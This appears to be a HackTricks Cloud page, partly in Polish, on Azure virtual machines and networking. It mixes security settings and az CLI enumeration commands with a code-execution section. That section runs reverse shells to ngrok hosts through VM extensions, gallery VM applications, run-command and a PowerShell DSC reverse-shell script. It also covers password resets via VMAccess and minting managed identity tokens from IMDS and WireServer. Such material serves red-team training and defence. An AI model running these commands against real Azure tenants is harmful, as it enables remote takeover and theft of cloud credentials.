Az - Virtual Machines & Network
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Azure Networking Basic Info
Azure networks contains different entities and ways to configure it. You can find a brief descriptions, examples and enumeration commands of the different Azure network entities in:
VMs Basic information
Azure Virtual Machines (VMs) are flexible, on-demand cloud-based servers that let you run Windows or Linux operating systems. They allow you to deploy applications and workloads without managing physical hardware. Azure VMs can be configured with various CPU, memory, and storage options to meet specific needs and integrate with Azure services like virtual networks, storage, and security tools.
Security Configurations
- Availability Zones: Strefy dostępności to odrębne grupy centrów danych w określonym regionie Azure, które są fizycznie rozdzielone, aby zminimalizować ryzyko, że wiele stref zostanie dotkniętych przez lokalne awarie lub katastrofy.
- Security Type:
- Standard Security: To domyślny typ security, który nie wymaga żadnej konkretnej konfiguracji.
- Trusted Launch: Ten typ security zwiększa ochronę przed boot kits i malware na poziomie jądra, używając Secure Boot i Virtual Trusted Platform Module (vTPM).
- Confidential VMs: Oprócz trusted launch oferuje izolację sprzętową między VM, hypervisor i host management, poprawia szyfrowanie dysku i więcej.
- Authentication: Domyślnie generowany jest nowy SSH key, choć można użyć public key lub poprzedniego key, a domyślny username to azureuser. Można też skonfigurować użycie password.
- VM disk encryption: Dysk jest domyślnie szyfrowany at rest przy użyciu platform managed key.
- Można też włączyć Encryption at host, gdzie data zostaną zaszyfrowane na hoście przed wysłaniem do storage service, zapewniając end-to-end encryption między hostem a storage service (docs).
- NIC network security group:
- None: W praktyce otwiera każdy port
- Basic: Umożliwia łatwe otwarcie inbound ports HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- Advanced: Wybierz security group
- Backup: Można włączyć backup Standard (raz dziennie) i Enhanced (wiele razy dziennie)
- Patch orchestration options: To umożliwia automatyczne stosowanie patches w VM zgodnie z wybraną policy, jak opisano w docs.
- Alerts: Można automatycznie otrzymywać alerty e-mail lub w aplikacji mobilnej, gdy coś wydarzy się w VM. Domyślne rules:
- Percentage CPU is greater than 80%
- Available Memory Bytes is less than 1GB
- Data Disks IOPS Consumed Percentage is greater than 95%
- OS IOPS Consumed Percentage is greater than 95%
- Network in Total is greater than 500GB
- Network Out Total is greater than 200GB
- VmAvailabilityMetric is less than 1
- Heath monitor: Domyślnie sprawdza protocol HTTP na porcie 80
- Locks: Pozwala zablokować VM tak, aby można ją było tylko odczytać (ReadOnly lock) albo aby można ją było odczytać i aktualizować, ale nie usuwać (CanNotDelete lock).
- Większość zasobów związanych z VM także obsługuje locks jak disks, snapshots…
- Locks można też stosować na poziomie resource group i subscription
Disks & snapshots
- Można włączyć podłączenie disk do 2 lub więcej VM
- Domyślnie każdy disk jest encrypted przy użyciu platform key.
- To samo w snapshots
- Domyślnie można udostępniać disk ze wszystkich network, ale można też ograniczyć go do tylko określonego private access albo całkowicie wyłączyć public i private access.
- To samo w snapshots
- Można wygenerować SAS URI (maksymalnie na 60dni), aby wyeksportować disk, i można skonfigurować, czy ma wymagać authentication, czy nie
- To samo w snapshots
# List all disks
az disk list --output table
# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>
Obrazy, obrazy galerii i punkty przywracania
Obraz VM to szablon zawierający system operacyjny, ustawienia aplikacji i filesystem potrzebne do utworzenia nowej virtual machine (VM). Różnica między obrazem a migawką dysku polega na tym, że migawka dysku to tylko do odczytu, punktowy w czasie kopia pojedynczego managed disk, używana głównie do backup lub troubleshooting, podczas gdy obraz może zawierać wiele dysków i jest zaprojektowany jako szablon do tworzenia nowych VM.
Images można zarządzać w sekcji Images w Azure lub w Azure compute galleries, które umożliwiają generowanie versions i udostępnianie obrazu między tenant lub nawet publicznie.
Restore point przechowuje konfigurację VM oraz zgodne z aplikacją point-in-time snapshots wszystkich managed disks podłączonych do VM. Jest związany z VM, a jego celem jest możliwość przywrócenia tej VM do stanu z tego konkretnego momentu.
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shaerd with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
Azure Site Recovery
Z docs: Site Recovery pomaga zapewnić ciągłość działania biznesu, utrzymując aplikacje biznesowe i workloads w ruchu podczas awarii. Site Recovery replicates workloads działające na fizycznych i wirtualnych maszynach (VMs) z primary site do secondary location. Gdy w primary site wystąpi awaria, przełączasz się do secondary location i stamtąd uzyskujesz dostęp do aplikacji. Po ponownym uruchomieniu primary location możesz wrócić do niej.
Azure Bastion
Azure Bastion umożliwia bezpieczny i bezproblemowy dostęp do Remote Desktop Protocol (RDP) oraz Secure Shell (SSH) do twoich virtual machines (VMs) bezpośrednio przez Azure Portal lub za pośrednictwem jump box. Dzięki wyeliminowaniu potrzeby publicznych adresów IP na twoich VMs.
Bastion wdraża subnet o nazwie AzureBastionSubnet z maską sieciową /26 w VNet, w którym musi działać. Następnie pozwala łączyć się z wewnętrznymi VMs przez przeglądarkę używając RDP i SSH, unikając wystawiania portów VMs do Internetu. Może też działać jako jump host.
Aby wyświetlić wszystkie Azure Bastion Hosts w twojej subskrypcji i łączyć się przez nie z VMs, możesz użyć następujących poleceń:
# List bastions
az network bastion list -o table
# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa
# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>
Metadata
Azure Instance Metadata Service (IMDS) provides information about running virtual machine instances to assist with their management and configuration. It offers details such as the SKU, storage, network configurations, and information about upcoming maintenance events via REST API available at the non-routable IP address 169.254.169.254, which is accessible only from within the VM. Communication between the VM and IMDS stays within the host, ensuring secure access. When querying IMDS, HTTP clients inside the VM should bypass web proxies to ensure proper communication.
Moreover, to contact the metadata endpoint, the HTTP request must have the header Metadata: true and must not have the header X-Forwarded-For.
When requesting an access token to the metadata endpoint, by default the metadata service will use the system assigned managed identity to generate the token, if there is any system assigned managed identity. In case there is just ONE user assigned managed identity, then this will be used by default. However, in case there is no system assigned managed identity and there are multiple user assigned managed identities, then the metadata service will return an error indicating that there are multiple managed identities and it’s necessary to specify which one to use.
Check how to enumerate it in:
VM Enumeration
# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>
## List all available VM images and get info about one
az vm image list --all --output table
# VM Extensions
## List all VM extensions
az vm extension image list --output table
## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>
## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>
# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shared with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
# Bastion
## list all bastions
az network bastion list -o table
# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"
## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table
## List public IPs
az network public-ip list --output table
## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table
## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"
## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>
## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table
## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table
# Misc
## List all virtual machine scale sets
az vmss list --output table
## List all availability sets
az vm availability-set list --output table
## List all load balancers
az network lb list --output table
## List all storage accounts
az storage account list --output table
## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>
# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>
## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table
# List all available run commands for virtual machines
az vm run-command list --output table
Code Execution in VMs
VM Extensions
Azure VM extensions are small applications that provide post-deployment configuration and automation tasks on Azure virtual machines (VMs).
To umożliwiłoby execute arbitrary code inside VMs.
Wymagane uprawnienie to Microsoft.Compute/virtualMachines/extensions/write.
Można wyświetlić listę wszystkich dostępnych extensions za pomocą:
# It takes some mins to run
az vm extension image list --output table
# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
Możliwe jest uruchamianie własnych rozszerzeń, które wykonują własny kod:
- Execute a revers shell
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
- Wykonaj skrypt znajdujący się w internecie
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
Odpowiednie rozszerzenia VM
Wymagane uprawnienie to nadal Microsoft.Compute/virtualMachines/extensions/write.
VMAccess extension
To rozszerzenie pozwala modyfikować hasło (lub utworzyć je, jeśli nie istnieje) użytkowników wewnątrz Windows VMs.
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)
To jest rozszerzenie VM należące do Microsoft, które używa PowerShell DSC do zarządzania konfiguracją Azure Windows VMs. Dlatego można go użyć do wykonywania dowolnych poleceń w Windows VMs przez to rozszerzenie:
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output
# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force
# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hybrid Runbook Worker
To jest rozszerzenie VM, które pozwala wykonywać runbooki w VM z konta Automation. Więcej informacji znajdziesz w Automation Accounts service.
VM Applications
To są pakiety ze wszystkimi danymi aplikacji oraz skryptami instalacji i deinstalacji, które można wykorzystać do łatwego dodawania i usuwania aplikacji w VM.
# List all galleries in resource group
az sig list --resource-group <res-group> --output table
# List all apps in a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
To są ścieżki, pod którymi aplikacje są pobierane w systemie plików:
- Linux:
/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version> - Windows:
C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>
Sprawdź, jak zainstalować nowe aplikacje w https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli
Caution
Możliwe jest udostępnianie pojedynczych apps i galleries innym subscriptions lub tenants. Jest to bardzo interesujące, ponieważ może to pozwolić atakującemu na backdoorowanie aplikacji i pivot do innych subscriptions i tenants.
Ale nie ma “marketplace” dla vm apps tak jak w przypadku extensions.
Wymagane permissions to:
Microsoft.Compute/galleries/applications/writeMicrosoft.Compute/galleries/applications/versions/writeMicrosoft.Compute/virtualMachines/writeMicrosoft.Network/networkInterfaces/join/actionMicrosoft.Compute/disks/write
Przykład exploitation do wykonania arbitrary commands:
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
Dane użytkownika
To są dane trwałe, które można w dowolnym momencie pobrać z endpointu metadanych. Zwróć uwagę, że w Azure user data różni się od AWS i GCP, ponieważ jeśli umieścisz tutaj skrypt, nie zostanie on wykonany domyślnie.
Custom data
Można przekazać pewne dane do VM, które zostaną zapisane w oczekiwanych ścieżkach:
- W Windows custom data jest umieszczane w
%SYSTEMDRIVE%\AzureData\CustomData.binjako plik binarny i nie jest przetwarzane. - W Linux było przechowywane w
/var/lib/waagent/ovf-env.xml, a teraz jest przechowywane w/var/lib/waagent/CustomData/ovf-env.xml - Linux agent: Domyślnie nie przetwarza custom data, potrzebny jest custom image z włączonymi danymi
- cloud-init: Domyślnie przetwarza custom data i te dane mogą być w several formats. Może łatwo wykonać skrypt, wysyłając po prostu skrypt w custom data.
- Próbowałem i zarówno Ubuntu, jak i Debian wykonują skrypt, który tam umieścisz.
- Nie trzeba też włączać user data, aby to zostało wykonane.
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt
Uruchom polecenie
To najbardziej podstawowy mechanizm, jaki Azure udostępnia do wykonywania dowolnych poleceń w VM. Wymagane uprawnienie to Microsoft.Compute/virtualMachines/runCommand/action.
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh
# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
Azure WireServer & GoalState
Azure VM-y udostępniają wewnętrzne punkty końcowe platformy, używane do konfiguracji, pobierania metadanych i zarządzania tożsamością. Zrozumienie różnicy między nimi jest kluczowe dla enumeration, privilege escalation i post-exploitation.
Wire Server (Azure Fabric Endpoint)
Azure WireServer to wewnętrzny adres IP Azure (168.63.129.16), używany przez platformę do komunikacji z VM.
Odpowiada za:
- Komunikację z VM Agent
- Dostarczanie:
- GoalState
- ExtensionsConfig
- Wewnętrzną konfigurację VM (w tym identities)
- Usługi DHCP i DNS
- Monitorowanie zdrowia
GoalState & ExtensionsConfig
GoalState reprezentuje pożądaną konfigurację VM zdefiniowaną przez Azure. Może zawierać:
- Konfigurację extensions
- Managed identities
- Stan provisioning
- Instrukcje dla Agent
ExtensionsConfig zawiera szczegółową konfigurację VM extensions i może zawierać:
- User Assigned Managed Identities
- Ustawienia extension
- Secrety (zależnie od extension)
Do tych punktów końcowych zwykle uzyskuje się dostęp przez:
curl -H "x-ms-version: 2012-11-30" http://168.63.129.16/machine?comp=goalstate
Rozważania dotyczące dostępu
Adres IP WireServer jest zazwyczaj osiągalny z wnętrza VM przez guest network stack. Nie jest ograniczony wyłącznie do Azure VM Agent, Run Command ani VM extensions. Microsoft nawet dokumentuje przykłady agentless Linux provisioning, w których zwykłe skrypty uruchamiane wewnątrz guest bezpośrednio odpytały GoalState z 168.63.129.16.
Jednak nie każdy proces musi uzyskać taki sam praktyczny rezultat:
- Niektóre endpointy wymagają nagłówków specyficznych dla Azure, takich jak
x-ms-version: 2012-11-30dla GoalState. - Lokalne kontrolki guest mogą blokować lub zmieniać dostęp, w tym reguły host firewall, proxy, route, network namespaces, containers lub endpoint protection.
- VM extensions i Run Command zwykle wykonują się jako
root/SYSTEMprzez VM Agent, więc mogą omijać lokalne ograniczenia OS, które dotyczą interaktywnego użytkownika. - Niektóre dane są specyficzne dla agenta/extensji i mogą zależeć od stanu provisioning VM, zainstalowanego agenta, skonfigurowanych extensions lub konfiguracji managed identity.
Dlatego jeśli żądanie działa z Run Command, ale nie działa z SSH, zwykłe wyjaśnienie to różnica w użytkowniku OS, środowisku, routingu, proxy, firewallu lub namespace, a nie ogólna reguła Azure, że tylko konteksty uruchamiania agenta mogą osiągnąć 168.63.129.16.
W testach laboratoryjnych ta różnica była widoczna: wykonywanie Linux/Windows VM Agent przez Run Command lub Custom Script extensions mogło osiągnąć GoalState na 168.63.129.16, podczas gdy zwykła sesja SSH na innej Linux VM nadal mogła osiągnąć IMDS, ale timeoutowała przy odpytywaniu GoalState. Traktuj WireServer/GoalState jako przydatne, ale zależne od środowiska; nie polegaj na nim jako na kanonicznym sposobie wyliczania managed identities.
Dostęp do Managed Identity z wnętrza VM
Niezawodnym sposobem użycia managed identities VM jest IMDS managed identity endpoint na 169.254.169.254, a nie XML ExtensionsConfig WireServer. Skrypty, które szukają tylko w ExtensionsConfig węzłów UserAssignedIdentity, nie są wiarygodne, ponieważ:
- Przypisanie managed identity do VM nie musi być reprezentowane jako węzły
UserAssignedIdentityw XML extension. - Pomijają system-assigned managed identities.
- Znajdują user-assigned identities tylko wtedy, gdy aktualne dane GoalState/extension akurat ujawniają oczekiwany kształt XML.
Udokumentowany model security Microsoft zakłada, że cały code uruchomiony na VM może żądać tokenów dla managed identities dostępnych na tej VM. Potwierdzono to z:
- Linux SSH jako zwykły user VM.
- Linux Run Command przez VM Agent.
- Linux Custom Script extension przez VM Agent.
- Windows Custom Script extension jako
NT AUTHORITY\SYSTEM.
We wszystkich tych kontekstach IMDS mógł mint tokens dla Management, Microsoft Graph/Entra ID, Key Vault i Storage, gdy żądana identity była dostępna dla VM.
Istnieją dwa różne problemy, które łatwo pomylić:
- Uzyskanie tokena dla znanej identity: Jeśli identity jest przypisana do VM, IMDS może wydawać tokeny dla różnych audience, takich jak
https://management.azure.com/,https://graph.microsoft.com/,https://vault.azure.netihttps://storage.azure.com/. Jeśli istnieje kilka user-assigned identities, zażądaj konkretnej przy użyciuclient_id,object_idlubmsi_res_id. - Odkrycie każdej dołączonej identity z wnętrza VM: IMDS nie udostępnia prostego endpointu “list all identities”. Praktyczną metodą jest pobranie domyślnego Management tokena, odczytanie zasobu VM przez ARM i sprawdzenie property
identity. Działa to tylko wtedy, gdy ta managed identity ma uprawnienia takie jakMicrosoft.Compute/virtualMachines/readdo VM. Jeśli ARM zwróci403, token nadal może być poprawny i użyteczny, ale nie pozwala wyliczyć pełnej listy identity VM.
Jeśli discovery przez ARM nie działa, nadal możesz spróbować źródeł WireServer/HostGAPlugin, takich jak GoalState i http://168.63.129.16:32526/vmSettings, aby szukać pól wyglądających na identity (clientId, IdentityClientId, msi_res_id, resource ID user-assigned identity), a następnie poprosić IMDS o tokeny z tymi selektorami. To jest fallback, nie gwarancja: te endpointy są zależne od kontekstu i mogą w ogóle nie ujawniać żadnych selektorów managed identity.
Poniższe przykłady najpierw żądają tokena. Następnie próbują odczytać zasób VM z Azure Resource Manager i wypisać jego property identity. Drugi krok działa tylko wtedy, gdy managed identity ma uprawnienia takie jak Microsoft.Compute/virtualMachines/read do VM.
#!/usr/bin/env bash
set -euo pipefail
imds="http://169.254.169.254/metadata"
api_version="2021-02-01"
resource="${1:-https://management.azure.com/}"
# Optional. Examples:
# export MSI_SELECTOR='client_id=<client-id>'
# export MSI_SELECTOR='object_id=<principal-id>'
# export MSI_SELECTOR='msi_res_id=/subscriptions/.../userAssignedIdentities/name'
selector="${MSI_SELECTOR:-}"
urlencode() {
python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' "$1"
}
token_url="$imds/identity/oauth2/token?api-version=$api_version&resource=$(urlencode "$resource")"
if [[ -n "$selector" ]]; then
token_url="$token_url&$selector"
fi
echo "[*] Requesting managed identity token for: $resource"
token_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$token_url")"
access_token="$(
TOKEN_JSON="$token_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["TOKEN_JSON"])["access_token"])
PY
)"
TOKEN="$access_token" python3 - <<'PY'
import base64, json, os
token = os.environ["TOKEN"]
payload = token.split(".")[1]
payload += "=" * (-len(payload) % 4)
claims = json.loads(base64.urlsafe_b64decode(payload))
print("[+] Token acquired")
for key in ("tid", "appid", "oid", "xms_mirid"):
if key in claims:
print(f" {key}: {claims[key]}")
PY
echo "[*] Trying to read the VM identity property through ARM..."
compute_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$imds/instance/compute?api-version=$api_version")"
vm_id="$(
COMPUTE_JSON="$compute_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["COMPUTE_JSON"])["resourceId"])
PY
)"
arm_url="https://management.azure.com${vm_id}?api-version=2024-07-01"
if vm_json="$(curl -fsS -H "Authorization: Bearer $access_token" "$arm_url" 2>/dev/null)"; then
VM_JSON="$vm_json" python3 - <<'PY'
import json, os
vm = json.loads(os.environ["VM_JSON"])
print(json.dumps(vm.get("identity", {}), indent=2))
PY
else
echo "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM."
fi
Privilege Escalation
Az - Virtual Machines & Network Privesc
Unauthenticated Access
Post Exploitation
Az - VMs & Network Post Exploitation
Persistence
References
- https://learn.microsoft.com/en-us/azure/virtual-machines/overview
- https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/
- https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service
- https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token
- https://learn.microsoft.com/en-us/azure/virtual-network/what-is-ip-address-168-63-129-16
- https://learn.microsoft.com/en-us/azure/virtual-machines/linux/no-agent
- https://learn.microsoft.com/en-us/azure/virtual-machines/run-command
- https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/agent-linux
- https://www.cybercx.com.au/blog/azure-ssrf-metadata/
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

